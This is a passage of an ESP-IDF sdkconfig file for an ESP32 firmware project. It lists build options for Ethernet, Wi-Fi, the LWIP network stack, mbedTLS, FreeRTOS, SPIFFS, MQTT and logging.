CONFIG_ESP_ERR_TO_NAME_LOOKUP=y 313 | CONFIG_ESP_SYSTEM_EVENT_QUEUE_SIZE=32 314 | CONFIG_ESP_SYSTEM_EVENT_TASK_STACK_SIZE=2304 315 | CONFIG_ESP_MAIN_TASK_STACK_SIZE=3584 316 | CONFIG_ESP_IPC_TASK_STACK_SIZE=1024 317 | CONFIG_ESP_IPC_USES_CALLERS_PRIORITY=y 318 | CONFIG_ESP_TIMER_TASK_STACK_SIZE=3584 319 | CONFIG_ESP_CONSOLE_UART_DEFAULT=y 320 | # CONFIG_ESP_CONSOLE_UART_CUSTOM is not set 321 | # CONFIG_ESP_CONSOLE_UART_NONE is not set 322 | CONFIG_ESP_CONSOLE_UART_NUM=0 323 | CONFIG_ESP_CONSOLE_UART_BAUDRATE=115200 324 | CONFIG_ESP_INT_WDT=y 325 | CONFIG_ESP_INT_WDT_TIMEOUT_MS=300 326 | CONFIG_ESP_INT_WDT_CHECK_CPU1=y 327 | CONFIG_ESP_TASK_WDT=y 328 | # CONFIG_ESP_TASK_WDT_PANIC is not set 329 | CONFIG_ESP_TASK_WDT_TIMEOUT_S=5 330 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU0=y 331 | CONFIG_ESP_TASK_WDT_CHECK_IDLE_TASK_CPU1=y 332 | # CONFIG_ESP_PANIC_HANDLER_IRAM is not set 333 | # end of Common ESP-related 334 | 335 | # 336 | # Ethernet 337 | # 338 | CONFIG_ETH_ENABLED=y 339 | CONFIG_ETH_USE_ESP32_EMAC=y 340 | CONFIG_ETH_PHY_INTERFACE_RMII=y 341 | # CONFIG_ETH_PHY_INTERFACE_MII is not set 342 | CONFIG_ETH_RMII_CLK_INPUT=y 343 | # CONFIG_ETH_RMII_CLK_OUTPUT is not set 344 | CONFIG_ETH_RMII_CLK_IN_GPIO=0 345 | CONFIG_ETH_SMI_MDC_GPIO=23 346 | CONFIG_ETH_SMI_MDIO_GPIO=18 347 | CONFIG_ETH_PHY_USE_RST=y 348 | CONFIG_ETH_PHY_RST_GPIO=5 349 | CONFIG_ETH_DMA_BUFFER_SIZE=512 350 | CONFIG_ETH_DMA_RX_BUFFER_NUM=10 351 | CONFIG_ETH_DMA_TX_BUFFER_NUM=10 352 | CONFIG_ETH_USE_SPI_ETHERNET=y 353 | CONFIG_ETH_SPI_ETHERNET_DM9051=y 354 | CONFIG_ETH_DM9051_INT_GPIO=4 355 | # CONFIG_ETH_USE_OPENETH is not set 356 | # end of Ethernet 357 | 358 | # 359 | # Event Loop Library 360 | # 361 | # CONFIG_ESP_EVENT_LOOP_PROFILING is not set 362 | CONFIG_ESP_EVENT_POST_FROM_ISR=y 363 | CONFIG_ESP_EVENT_POST_FROM_IRAM_ISR=y 364 | # end of Event Loop Library 365 | 366 | # 367 | # GDB Stub 368 | # 369 | # end of GDB Stub 370 | 371 | # 372 | # ESP HTTP client 373 | # 374 | CONFIG_ESP_HTTP_CLIENT_ENABLE_HTTPS=y 375 | # CONFIG_ESP_HTTP_CLIENT_ENABLE_BASIC_AUTH is not set 376 | # end of ESP HTTP client 377 | 378 | # 379 | # HTTP Server 380 | # 381 | CONFIG_HTTPD_MAX_REQ_HDR_LEN=512 382 | CONFIG_HTTPD_MAX_URI_LEN=512 383 | CONFIG_HTTPD_ERR_RESP_NO_DELAY=y 384 | CONFIG_HTTPD_PURGE_BUF_LEN=32 385 | # CONFIG_HTTPD_LOG_PURGE_DATA is not set 386 | # end of HTTP Server 387 | 388 | # 389 | # ESP HTTPS OTA 390 | # 391 | # CONFIG_OTA_ALLOW_HTTP is not set 392 | # end of ESP HTTPS OTA 393 | 394 | # 395 | # ESP HTTPS server 396 | # 397 | # CONFIG_ESP_HTTPS_SERVER_ENABLE is not set 398 | # end of ESP HTTPS server 399 | 400 | # 401 | # ESP NETIF Adapter 402 | # 403 | CONFIG_ESP_NETIF_IP_LOST_TIMER_INTERVAL=120 404 | CONFIG_ESP_NETIF_TCPIP_LWIP=y 405 | # CONFIG_ESP_NETIF_LOOPBACK is not set 406 | CONFIG_ESP_NETIF_TCPIP_ADAPTER_COMPATIBLE_LAYER=y 407 | # end of ESP NETIF Adapter 408 | 409 | # 410 | # Wi-Fi 411 | # 412 | CONFIG_ESP32_WIFI_STATIC_RX_BUFFER_NUM=10 413 | CONFIG_ESP32_WIFI_DYNAMIC_RX_BUFFER_NUM=32 414 | # CONFIG_ESP32_WIFI_STATIC_TX_BUFFER is not set 415 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER=y 416 | CONFIG_ESP32_WIFI_TX_BUFFER_TYPE=1 417 | CONFIG_ESP32_WIFI_DYNAMIC_TX_BUFFER_NUM=32 418 | # CONFIG_ESP32_WIFI_CSI_ENABLED is not set 419 | CONFIG_ESP32_WIFI_AMPDU_TX_ENABLED=y 420 | CONFIG_ESP32_WIFI_TX_BA_WIN=6 421 | CONFIG_ESP32_WIFI_AMPDU_RX_ENABLED=y 422 | CONFIG_ESP32_WIFI_RX_BA_WIN=6 423 | CONFIG_ESP32_WIFI_NVS_ENABLED=y 424 | CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_0=y 425 | # CONFIG_ESP32_WIFI_TASK_PINNED_TO_CORE_1 is not set 426 | CONFIG_ESP32_WIFI_SOFTAP_BEACON_MAX_LEN=752 427 | CONFIG_ESP32_WIFI_MGMT_SBUF_NUM=32 428 | # CONFIG_ESP32_WIFI_DEBUG_LOG_ENABLE is not set 429 | CONFIG_ESP32_WIFI_IRAM_OPT=y 430 | CONFIG_ESP32_WIFI_RX_IRAM_OPT=y 431 | # end of Wi-Fi 432 | 433 | # 434 | # PHY 435 | # 436 | CONFIG_ESP32_PHY_CALIBRATION_AND_DATA_STORAGE=y 437 | # CONFIG_ESP32_PHY_INIT_DATA_IN_PARTITION is not set 438 | CONFIG_ESP32_PHY_MAX_WIFI_TX_POWER=20 439 | CONFIG_ESP32_PHY_MAX_TX_POWER=20 440 | # end of PHY 441 | 442 | # 443 | # Core dump 444 | # 445 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_FLASH is not set 446 | # CONFIG_ESP32_ENABLE_COREDUMP_TO_UART is not set 447 | CONFIG_ESP32_ENABLE_COREDUMP_TO_NONE=y 448 | # end of Core dump 449 | 450 | # 451 | # FAT Filesystem support 452 | # 453 | # CONFIG_FATFS_CODEPAGE_DYNAMIC is not set 454 | CONFIG_FATFS_CODEPAGE_437=y 455 | # CONFIG_FATFS_CODEPAGE_720 is not set 456 | # CONFIG_FATFS_CODEPAGE_737 is not set 457 | # CONFIG_FATFS_CODEPAGE_771 is not set 458 | # CONFIG_FATFS_CODEPAGE_775 is not set 459 | # CONFIG_FATFS_CODEPAGE_850 is not set 460 | # CONFIG_FATFS_CODEPAGE_852 is not set 461 | # CONFIG_FATFS_CODEPAGE_855 is not set 462 | # CONFIG_FATFS_CODEPAGE_857 is not set 463 | # CONFIG_FATFS_CODEPAGE_860 is not set 464 | # CONFIG_FATFS_CODEPAGE_861 is not set 465 | # CONFIG_FATFS_CODEPAGE_862 is not set 466 | # CONFIG_FATFS_CODEPAGE_863 is not set 467 | # CONFIG_FATFS_CODEPAGE_864 is not set 468 | # CONFIG_FATFS_CODEPAGE_865 is not set 469 | # CONFIG_FATFS_CODEPAGE_866 is not set 470 | # CONFIG_FATFS_CODEPAGE_869 is not set 471 | # CONFIG_FATFS_CODEPAGE_932 is not set 472 | # CONFIG_FATFS_CODEPAGE_936 is not set 473 | # CONFIG_FATFS_CODEPAGE_949 is not set 474 | # CONFIG_FATFS_CODEPAGE_950 is not set 475 | CONFIG_FATFS_CODEPAGE=437 476 | CONFIG_FATFS_LFN_NONE=y 477 | # CONFIG_FATFS_LFN_HEAP is not set 478 | # CONFIG_FATFS_LFN_STACK is not set 479 | CONFIG_FATFS_FS_LOCK=0 480 | CONFIG_FATFS_TIMEOUT_MS=10000 481 | CONFIG_FATFS_PER_FILE_CACHE=y 482 | # end of FAT Filesystem support 483 | 484 | # 485 | # Modbus configuration 486 | # 487 | CONFIG_FMB_MASTER_TIMEOUT_MS_RESPOND=150 488 | CONFIG_FMB_MASTER_DELAY_MS_CONVERT=200 489 | CONFIG_FMB_QUEUE_LENGTH=20 490 | CONFIG_FMB_SERIAL_TASK_STACK_SIZE=2048 491 | CONFIG_FMB_SERIAL_BUF_SIZE=256 492 | CONFIG_FMB_SERIAL_TASK_PRIO=10 493 | # CONFIG_FMB_CONTROLLER_SLAVE_ID_SUPPORT is not set 494 | CONFIG_FMB_CONTROLLER_NOTIFY_TIMEOUT=20 495 | CONFIG_FMB_CONTROLLER_NOTIFY_QUEUE_SIZE=20 496 | CONFIG_FMB_CONTROLLER_STACK_SIZE=4096 497 | CONFIG_FMB_EVENT_QUEUE_TIMEOUT=20 498 | CONFIG_FMB_TIMER_PORT_ENABLED=y 499 | CONFIG_FMB_TIMER_GROUP=0 500 | CONFIG_FMB_TIMER_INDEX=0 501 | # CONFIG_FMB_TIMER_ISR_IN_IRAM is not set 502 | # end of Modbus configuration 503 | 504 | # 505 | # FreeRTOS 506 | # 507 | # CONFIG_FREERTOS_UNICORE is not set 508 | CONFIG_FREERTOS_NO_AFFINITY=0x7FFFFFFF 509 | CONFIG_FREERTOS_CORETIMER_0=y 510 | # CONFIG_FREERTOS_CORETIMER_1 is not set 511 | CONFIG_FREERTOS_HZ=100 512 | CONFIG_FREERTOS_ASSERT_ON_UNTESTED_FUNCTION=y 513 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_NONE is not set 514 | # CONFIG_FREERTOS_CHECK_STACKOVERFLOW_PTRVAL is not set 515 | CONFIG_FREERTOS_CHECK_STACKOVERFLOW_CANARY=y 516 | # CONFIG_FREERTOS_WATCHPOINT_END_OF_STACK is not set 517 | CONFIG_FREERTOS_INTERRUPT_BACKTRACE=y 518 | CONFIG_FREERTOS_THREAD_LOCAL_STORAGE_POINTERS=1 519 | CONFIG_FREERTOS_ASSERT_FAIL_ABORT=y 520 | # CONFIG_FREERTOS_ASSERT_FAIL_PRINT_CONTINUE is not set 521 | # CONFIG_FREERTOS_ASSERT_DISABLE is not set 522 | CONFIG_FREERTOS_IDLE_TASK_STACKSIZE=1536 523 | CONFIG_FREERTOS_ISR_STACKSIZE=1536 524 | # CONFIG_FREERTOS_LEGACY_HOOKS is not set 525 | CONFIG_FREERTOS_MAX_TASK_NAME_LEN=16 526 | # CONFIG_FREERTOS_SUPPORT_STATIC_ALLOCATION is not set 527 | CONFIG_FREERTOS_TIMER_TASK_PRIORITY=1 528 | CONFIG_FREERTOS_TIMER_TASK_STACK_DEPTH=2048 529 | CONFIG_FREERTOS_TIMER_QUEUE_LENGTH=10 530 | CONFIG_FREERTOS_QUEUE_REGISTRY_SIZE=0 531 | # CONFIG_FREERTOS_USE_TRACE_FACILITY is not set 532 | # CONFIG_FREERTOS_GENERATE_RUN_TIME_STATS is not set 533 | # CONFIG_FREERTOS_DEBUG_INTERNALS is not set 534 | CONFIG_FREERTOS_TASK_FUNCTION_WRAPPER=y 535 | CONFIG_FREERTOS_CHECK_MUTEX_GIVEN_BY_OWNER=y 536 | # CONFIG_FREERTOS_CHECK_PORT_CRITICAL_COMPLIANCE is not set 537 | CONFIG_FREERTOS_DEBUG_OCDAWARE=y 538 | # end of FreeRTOS 539 | 540 | # 541 | # Heap memory debugging 542 | # 543 | CONFIG_HEAP_POISONING_DISABLED=y 544 | # CONFIG_HEAP_POISONING_LIGHT is not set 545 | # CONFIG_HEAP_POISONING_COMPREHENSIVE is not set 546 | CONFIG_HEAP_TRACING_OFF=y 547 | # CONFIG_HEAP_TRACING_STANDALONE is not set 548 | # CONFIG_HEAP_TRACING_TOHOST is not set 549 | # end of Heap memory debugging 550 | 551 | # 552 | # libsodium 553 | # 554 | CONFIG_LIBSODIUM_USE_MBEDTLS_SHA=y 555 | # end of libsodium 556 | 557 | # 558 | # Log output 559 | # 560 | # CONFIG_LOG_DEFAULT_LEVEL_NONE is not set 561 | # CONFIG_LOG_DEFAULT_LEVEL_ERROR is not set 562 | # CONFIG_LOG_DEFAULT_LEVEL_WARN is not set 563 | CONFIG_LOG_DEFAULT_LEVEL_INFO=y 564 | # CONFIG_LOG_DEFAULT_LEVEL_DEBUG is not set 565 | # CONFIG_LOG_DEFAULT_LEVEL_VERBOSE is not set 566 | CONFIG_LOG_DEFAULT_LEVEL=3 567 | CONFIG_LOG_COLORS=y 568 | CONFIG_LOG_TIMESTAMP_SOURCE_RTOS=y 569 | # CONFIG_LOG_TIMESTAMP_SOURCE_SYSTEM is not set 570 | # end of Log output 571 | 572 | # 573 | # LWIP 574 | # 575 | CONFIG_LWIP_LOCAL_HOSTNAME="espressif" 576 | CONFIG_LWIP_DNS_SUPPORT_MDNS_QUERIES=y 577 | # CONFIG_LWIP_L2_TO_L3_COPY is not set 578 | # CONFIG_LWIP_IRAM_OPTIMIZATION is not set 579 | CONFIG_LWIP_TIMERS_ONDEMAND=y 580 | CONFIG_LWIP_MAX_SOCKETS=10 581 | # CONFIG_LWIP_USE_ONLY_LWIP_SELECT is not set 582 | CONFIG_LWIP_SO_REUSE=y 583 | CONFIG_LWIP_SO_REUSE_RXTOALL=y 584 | # CONFIG_LWIP_SO_RCVBUF is not set 585 | # CONFIG_LWIP_NETBUF_RECVINFO is not set 586 | # CONFIG_LWIP_IP_FRAG is not set 587 | # CONFIG_LWIP_IP_REASSEMBLY is not set 588 | # CONFIG_LWIP_STATS is not set 589 | # CONFIG_LWIP_ETHARP_TRUST_IP_MAC is not set 590 | CONFIG_LWIP_ESP_GRATUITOUS_ARP=y 591 | CONFIG_LWIP_GARP_TMR_INTERVAL=60 592 | CONFIG_LWIP_TCPIP_RECVMBOX_SIZE=32 593 | CONFIG_LWIP_DHCP_DOES_ARP_CHECK=y 594 | # CONFIG_LWIP_DHCP_RESTORE_LAST_IP is not set 595 | 596 | # 597 | # DHCP server 598 | # 599 | CONFIG_LWIP_DHCPS_LEASE_UNIT=60 600 | CONFIG_LWIP_DHCPS_MAX_STATION_NUM=8 601 | # end of DHCP server 602 | 603 | # CONFIG_LWIP_AUTOIP is not set 604 | CONFIG_LWIP_NETIF_LOOPBACK=y 605 | CONFIG_LWIP_LOOPBACK_MAX_PBUFS=8 606 | 607 | # 608 | # TCP 609 | # 610 | CONFIG_LWIP_MAX_ACTIVE_TCP=16 611 | CONFIG_LWIP_MAX_LISTENING_TCP=16 612 | CONFIG_LWIP_TCP_MAXRTX=12 613 | CONFIG_LWIP_TCP_SYNMAXRTX=6 614 | CONFIG_LWIP_TCP_MSS=1440 615 | CONFIG_LWIP_TCP_TMR_INTERVAL=250 616 | CONFIG_LWIP_TCP_MSL=60000 617 | CONFIG_LWIP_TCP_SND_BUF_DEFAULT=5744 618 | CONFIG_LWIP_TCP_WND_DEFAULT=5744 619 | CONFIG_LWIP_TCP_RECVMBOX_SIZE=6 620 | CONFIG_LWIP_TCP_QUEUE_OOSEQ=y 621 | # CONFIG_LWIP_TCP_KEEP_CONNECTION_WHEN_IP_CHANGES is not set 622 | CONFIG_LWIP_TCP_OVERSIZE_MSS=y 623 | # CONFIG_LWIP_TCP_OVERSIZE_QUARTER_MSS is not set 624 | # CONFIG_LWIP_TCP_OVERSIZE_DISABLE is not set 625 | # end of TCP 626 | 627 | # 628 | # UDP 629 | # 630 | CONFIG_LWIP_MAX_UDP_PCBS=16 631 | CONFIG_LWIP_UDP_RECVMBOX_SIZE=6 632 | # end of UDP 633 | 634 | CONFIG_LWIP_TCPIP_TASK_STACK_SIZE=3072 635 | CONFIG_LWIP_TCPIP_TASK_AFFINITY_NO_AFFINITY=y 636 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU0 is not set 637 | # CONFIG_LWIP_TCPIP_TASK_AFFINITY_CPU1 is not set 638 | CONFIG_LWIP_TCPIP_TASK_AFFINITY=0x7FFFFFFF 639 | # CONFIG_LWIP_PPP_SUPPORT is not set 640 | 641 | # 642 | # ICMP 643 | # 644 | # CONFIG_LWIP_MULTICAST_PING is not set 645 | # CONFIG_LWIP_BROADCAST_PING is not set 646 | # end of ICMP 647 | 648 | # 649 | # LWIP RAW API 650 | # 651 | CONFIG_LWIP_MAX_RAW_PCBS=16 652 | # end of LWIP RAW API 653 | 654 | # 655 | # SNTP 656 | # 657 | CONFIG_LWIP_DHCP_MAX_NTP_SERVERS=1 658 | CONFIG_LWIP_SNTP_UPDATE_DELAY=3600000 659 | # end of SNTP 660 | # end of LWIP 661 | 662 | # 663 | # mbedTLS 664 | # 665 | CONFIG_MBEDTLS_INTERNAL_MEM_ALLOC=y 666 | # CONFIG_MBEDTLS_DEFAULT_MEM_ALLOC is not set 667 | # CONFIG_MBEDTLS_CUSTOM_MEM_ALLOC is not set 668 | CONFIG_MBEDTLS_ASYMMETRIC_CONTENT_LEN=y 669 | CONFIG_MBEDTLS_SSL_IN_CONTENT_LEN=16384 670 | CONFIG_MBEDTLS_SSL_OUT_CONTENT_LEN=4096 671 | # CONFIG_MBEDTLS_DEBUG is not set 672 | # CONFIG_MBEDTLS_ECP_RESTARTABLE is not set 673 | # CONFIG_MBEDTLS_CMAC_C is not set 674 | CONFIG_MBEDTLS_HARDWARE_AES=y 675 | # CONFIG_MBEDTLS_HARDWARE_MPI is not set 676 | # CONFIG_MBEDTLS_HARDWARE_SHA is not set 677 | CONFIG_MBEDTLS_HAVE_TIME=y 678 | # CONFIG_MBEDTLS_HAVE_TIME_DATE is not set 679 | CONFIG_MBEDTLS_TLS_SERVER_AND_CLIENT=y 680 | # CONFIG_MBEDTLS_TLS_SERVER_ONLY is not set 681 | # CONFIG_MBEDTLS_TLS_CLIENT_ONLY is not set 682 | # CONFIG_MBEDTLS_TLS_DISABLED is not set 683 | CONFIG_MBEDTLS_TLS_SERVER=y 684 | CONFIG_MBEDTLS_TLS_CLIENT=y 685 | CONFIG_MBEDTLS_TLS_ENABLED=y 686 | 687 | # 688 | # TLS Key Exchange Methods 689 | # 690 | CONFIG_MBEDTLS_PSK_MODES=y 691 | CONFIG_MBEDTLS_KEY_EXCHANGE_PSK=y 692 | CONFIG_MBEDTLS_KEY_EXCHANGE_DHE_PSK=y 693 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_PSK=y 694 | CONFIG_MBEDTLS_KEY_EXCHANGE_RSA_PSK=y 695 | CONFIG_MBEDTLS_KEY_EXCHANGE_RSA=y 696 | CONFIG_MBEDTLS_KEY_EXCHANGE_DHE_RSA=y 697 | CONFIG_MBEDTLS_KEY_EXCHANGE_ELLIPTIC_CURVE=y 698 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_RSA=y 699 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDHE_ECDSA=y 700 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_ECDSA=y 701 | CONFIG_MBEDTLS_KEY_EXCHANGE_ECDH_RSA=y 702 | # end of TLS Key Exchange Methods 703 | 704 | CONFIG_MBEDTLS_SSL_RENEGOTIATION=y 705 | # CONFIG_MBEDTLS_SSL_PROTO_SSL3 is not set 706 | CONFIG_MBEDTLS_SSL_PROTO_TLS1=y 707 | CONFIG_MBEDTLS_SSL_PROTO_TLS1_1=y 708 | CONFIG_MBEDTLS_SSL_PROTO_TLS1_2=y 709 | CONFIG_MBEDTLS_SSL_PROTO_DTLS=y 710 | CONFIG_MBEDTLS_SSL_ALPN=y 711 | CONFIG_MBEDTLS_CLIENT_SSL_SESSION_TICKETS=y 712 | CONFIG_MBEDTLS_SERVER_SSL_SESSION_TICKETS=y 713 | 714 | # 715 | # Symmetric Ciphers 716 | # 717 | CONFIG_MBEDTLS_AES_C=y 718 | # CONFIG_MBEDTLS_CAMELLIA_C is not set 719 | # CONFIG_MBEDTLS_DES_C is not set 720 | CONFIG_MBEDTLS_RC4_DISABLED=y 721 | # CONFIG_MBEDTLS_RC4_ENABLED_NO_DEFAULT is not set 722 | # CONFIG_MBEDTLS_RC4_ENABLED is not set 723 | # CONFIG_MBEDTLS_BLOWFISH_C is not set 724 | # CONFIG_MBEDTLS_XTEA_C is not set 725 | CONFIG_MBEDTLS_CCM_C=y 726 | CONFIG_MBEDTLS_GCM_C=y 727 | # end of Symmetric Ciphers 728 | 729 | # CONFIG_MBEDTLS_RIPEMD160_C is not set 730 | 731 | # 732 | # Certificates 733 | # 734 | CONFIG_MBEDTLS_PEM_PARSE_C=y 735 | CONFIG_MBEDTLS_PEM_WRITE_C=y 736 | CONFIG_MBEDTLS_X509_CRL_PARSE_C=y 737 | CONFIG_MBEDTLS_X509_CSR_PARSE_C=y 738 | # end of Certificates 739 | 740 | CONFIG_MBEDTLS_ECP_C=y 741 | CONFIG_MBEDTLS_ECDH_C=y 742 | CONFIG_MBEDTLS_ECDSA_C=y 743 | CONFIG_MBEDTLS_ECP_DP_SECP192R1_ENABLED=y 744 | CONFIG_MBEDTLS_ECP_DP_SECP224R1_ENABLED=y 745 | CONFIG_MBEDTLS_ECP_DP_SECP256R1_ENABLED=y 746 | CONFIG_MBEDTLS_ECP_DP_SECP384R1_ENABLED=y 747 | CONFIG_MBEDTLS_ECP_DP_SECP521R1_ENABLED=y 748 | CONFIG_MBEDTLS_ECP_DP_SECP192K1_ENABLED=y 749 | CONFIG_MBEDTLS_ECP_DP_SECP224K1_ENABLED=y 750 | CONFIG_MBEDTLS_ECP_DP_SECP256K1_ENABLED=y 751 | CONFIG_MBEDTLS_ECP_DP_BP256R1_ENABLED=y 752 | CONFIG_MBEDTLS_ECP_DP_BP384R1_ENABLED=y 753 | CONFIG_MBEDTLS_ECP_DP_BP512R1_ENABLED=y 754 | CONFIG_MBEDTLS_ECP_DP_CURVE25519_ENABLED=y 755 | CONFIG_MBEDTLS_ECP_NIST_OPTIM=y 756 | # end of mbedTLS 757 | 758 | # 759 | # mDNS 760 | # 761 | CONFIG_MDNS_MAX_SERVICES=10 762 | CONFIG_MDNS_TASK_PRIORITY=1 763 | # CONFIG_MDNS_TASK_AFFINITY_NO_AFFINITY is not set 764 | CONFIG_MDNS_TASK_AFFINITY_CPU0=y 765 | # CONFIG_MDNS_TASK_AFFINITY_CPU1 is not set 766 | CONFIG_MDNS_TASK_AFFINITY=0x0 767 | CONFIG_MDNS_SERVICE_ADD_TIMEOUT_MS=2000 768 | CONFIG_MDNS_TIMER_PERIOD_MS=100 769 | # end of mDNS 770 | 771 | # 772 | # ESP-MQTT Configurations 773 | # 774 | CONFIG_MQTT_PROTOCOL_311=y 775 | CONFIG_MQTT_TRANSPORT_SSL=y 776 | CONFIG_MQTT_TRANSPORT_WEBSOCKET=y 777 | CONFIG_MQTT_TRANSPORT_WEBSOCKET_SECURE=y 778 | # CONFIG_MQTT_USE_CUSTOM_CONFIG is not set 779 | # CONFIG_MQTT_TASK_CORE_SELECTION_ENABLED is not set 780 | # CONFIG_MQTT_CUSTOM_OUTBOX is not set 781 | # end of ESP-MQTT Configurations 782 | 783 | # 784 | # Newlib 785 | # 786 | CONFIG_NEWLIB_STDOUT_LINE_ENDING_CRLF=y 787 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_LF is not set 788 | # CONFIG_NEWLIB_STDOUT_LINE_ENDING_CR is not set 789 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_CRLF is not set 790 | # CONFIG_NEWLIB_STDIN_LINE_ENDING_LF is not set 791 | CONFIG_NEWLIB_STDIN_LINE_ENDING_CR=y 792 | # CONFIG_NEWLIB_NANO_FORMAT is not set 793 | # end of Newlib 794 | 795 | # 796 | # NVS 797 | # 798 | # end of NVS 799 | 800 | # 801 | # OpenSSL 802 | # 803 | # CONFIG_OPENSSL_DEBUG is not set 804 | # CONFIG_OPENSSL_ASSERT_DO_NOTHING is not set 805 | CONFIG_OPENSSL_ASSERT_EXIT=y 806 | # end of OpenSSL 807 | 808 | # 809 | # PThreads 810 | # 811 | CONFIG_PTHREAD_TASK_PRIO_DEFAULT=5 812 | CONFIG_PTHREAD_TASK_STACK_SIZE_DEFAULT=3072 813 | CONFIG_PTHREAD_STACK_MIN=768 814 | CONFIG_PTHREAD_DEFAULT_CORE_NO_AFFINITY=y 815 | # CONFIG_PTHREAD_DEFAULT_CORE_0 is not set 816 | # CONFIG_PTHREAD_DEFAULT_CORE_1 is not set 817 | CONFIG_PTHREAD_TASK_CORE_DEFAULT=-1 818 | CONFIG_PTHREAD_TASK_NAME_DEFAULT="pthread" 819 | # end of PThreads 820 | 821 | # 822 | # SPI Flash driver 823 | # 824 | # CONFIG_SPI_FLASH_VERIFY_WRITE is not set 825 | # CONFIG_SPI_FLASH_ENABLE_COUNTERS is not set 826 | CONFIG_SPI_FLASH_ROM_DRIVER_PATCH=y 827 | CONFIG_SPI_FLASH_DANGEROUS_WRITE_ABORTS=y 828 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_FAILS is not set 829 | # CONFIG_SPI_FLASH_DANGEROUS_WRITE_ALLOWED is not set 830 | # CONFIG_SPI_FLASH_USE_LEGACY_IMPL is not set 831 | 832 | # 833 | # Auto-detect flash chips 834 | # 835 | CONFIG_SPI_FLASH_SUPPORT_ISSI_CHIP=y 836 | CONFIG_SPI_FLASH_SUPPORT_GD_CHIP=y 837 | # end of Auto-detect flash chips 838 | # end of SPI Flash driver 839 | 840 | # 841 | # SPIFFS Configuration 842 | # 843 | CONFIG_SPIFFS_MAX_PARTITIONS=3 844 | 845 | # 846 | # SPIFFS Cache Configuration 847 | # 848 | CONFIG_SPIFFS_CACHE=y 849 | CONFIG_SPIFFS_CACHE_WR=y 850 | # CONFIG_SPIFFS_CACHE_STATS is not set 851 | # end of SPIFFS Cache Configuration 852 | 853 | CONFIG_SPIFFS_PAGE_CHECK=y 854 | CONFIG_SPIFFS_GC_MAX_RUNS=10 855 | # CONFIG_SPIFFS_GC_STATS is not set 856 | CONFIG_SPIFFS_PAGE_SIZE=256 857 | CONFIG_SPIFFS_OBJ_NAME_LEN=32 858 | # CONFIG_SPIFFS_FOLLOW_SYMLINKS is not set 859 | CONFIG_SPIFFS_USE_MAGIC=y 860 | CONFIG_SPIFFS_USE_MAGIC_LENGTH=y 861 | CONFIG_SPIFFS_META_LENGTH=4 862 | CONFIG_SPIFFS_USE_MTIME=y 863 | 864 | # 865 | # Debug Configuration 866 | # 867 | # CONFIG_SPIFFS_DBG is not set 868 | # CONFIG_SPIFFS_API_DBG is not set 869 | # CONFIG_SPIFFS_GC_DBG is not set 870 | # CONFIG_SPIFFS_CACHE_DBG is not set 871 | # CONFIG_SPIFFS_CHECK_DBG is not set 872 | # CONFIG_SPIFFS_TEST_VISUALISATION is not set 873 | # end of Debug Configuration 874 | # end of SPIFFS Configuration 875 | 876 | # 877 | # Unity unit testing library 878 | # 879 | CONFIG_UNITY_ENABLE_FLOAT=y 880 | CONFIG_UNITY_ENABLE_DOUBLE=y 881 | # CONFIG_UNITY_ENABLE_COLOR is not set 882 | CONFIG_UNITY_ENABLE_IDF_TEST_RUNNER=y 883 | # CONFIG_UNITY_ENABLE_FIXTURE is not set 884 | # CONFIG_UNITY_ENABLE_BACKTRACE_ON_FAIL is not set 885 | # end of Unity unit testing library 886 | 887 | # 888 | # Virtual file system 889 | # 890 | CONFIG_VFS_SUPPRESS_SELECT_DEBUG_OUTPUT=y 891 | CONFIG_VFS_SUPPORT_TERMIOS=y 892 | 893 | # 894 | # Host File System I/O (Semihosting) 895 | # 896 | CONFIG_SEMIHOSTFS_MAX_MOUNT_POINTS=1 897 | CONFIG_SEMIHOSTFS_HOST_PATH_MAX_LEN=128 898 | # end of Host File System I/O (Semihosting) 899 | # end of Virtual file system 900 | 901 | # 902 | # Wear Levelling 903 | # 904 | # CONFIG_WL_SECTOR_SIZE_512 is not set 905 | CONFIG_WL_SECTOR_SIZE_4096=y 906 | CONFIG_WL_SECTOR_SIZE=4096 907 | # end of Wear Levelling 908 | 909 | # 910 | # Wi-Fi Provisioning Manager 911 | # 912 | CONFIG_WIFI_PROV_SCAN_MAX_ENTRIES=16 913 | # end of Wi-Fi Provisioning Manager 914 | 915 | # 916 | # Supplicant 917 | # 918 | CONFIG_WPA_MBEDTLS_CRYPTO=y 919 | # end of Supplicant 920 | # end of Component config 921 | 922 | # 923 | # Compatibility options 924 | # 925 | # CONFIG_LEGACY_INCLUDE_COMMON_HEADERS is not set 926 | # end of Compatibility options 927 | 928 | # Deprecated options for backward compatibility 929 | CONFIG_TOOLPREFIX="xtensa-esp32-elf-" 930 | CONFIG_PYTHON="python" 931 | CONFIG_MAKE_WARN_UNDEFINED_VARIABLES=y 932 | # CONFIG_LOG_BOOTLOADER_LEVEL_NONE is not set 933 | # CONFIG_LOG_BOOTLOADER_LEVEL_ERROR is not set 934 | # CONFIG_LOG_BOOTLOADER_LEVEL_WARN is not set 935 | CONFIG_LOG_BOOTLOADER_LEVEL_INFO=y 936 | # CONFIG_LOG_BOOTLOADER_LEVEL_DEBUG is not set 937 | # CONFIG_LOG_BOOTLOADER_LEVEL_VERBOSE is not set 938 | CONFIG_LOG_BOOTLOADER_LEVEL=3 939 | # CONFIG_APP_ROLLBACK_ENABLE is not set 940 | # CONFIG_FLASH_ENCRYPTION_ENABLED is not set 941 | # CONFIG_FLASHMODE_QIO is not set 942 | # CONFIG_FLASHMODE_QOUT is not set 943 | CONFIG_FLASHMODE_DIO=y 944 | # CONFIG_FLASHMODE_DOUT is not set 945 | # CONFIG_MONITOR_BAUD_9600B is not set 946 | # CONFIG_MONITOR_BAUD_57600B is not set 947 | CONFIG_MONITOR_BAUD_115200B=y 948 | # CONFIG_MONITOR_BAUD_230400B is not set 949 | # CONFIG_MONITOR_BAUD_921600B is not set 950 | # CONFIG_MONITOR_BAUD_2MB is not set 951 | # 